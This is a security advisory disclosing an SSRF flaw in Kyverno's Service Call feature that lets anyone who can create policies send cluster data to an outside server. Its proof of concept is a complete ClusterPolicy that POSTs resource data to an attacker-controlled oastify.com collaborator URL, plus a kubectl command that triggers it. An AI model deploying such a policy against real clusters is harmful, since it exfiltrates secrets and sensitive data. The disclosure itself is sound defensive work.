Summary

An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.

Details

According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.

https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls

PoC

Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: check-namespaces      
spec:
  rules:
  - name: call-extension
    match:
      any:
      - resources:
          kinds:
          - ConfigMap
    context:
    - name: result
      apiCall:
        method: POST
        data:
        - key: namespace
          value: "{{request.namespace}}"
        service:
          url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload          
    validate:
      message: "namespace {{request.namespace}} is not allowed"
      deny:
        conditions:
          all:
          - key: "{{ result.allowed }}"
            operator: Equals
            value: false

Now let's create some configmap:

kubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm

Look at the Burp Collaborator logs:

Impact

An attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.

References

• GHSA-459x-q9hg-4gpq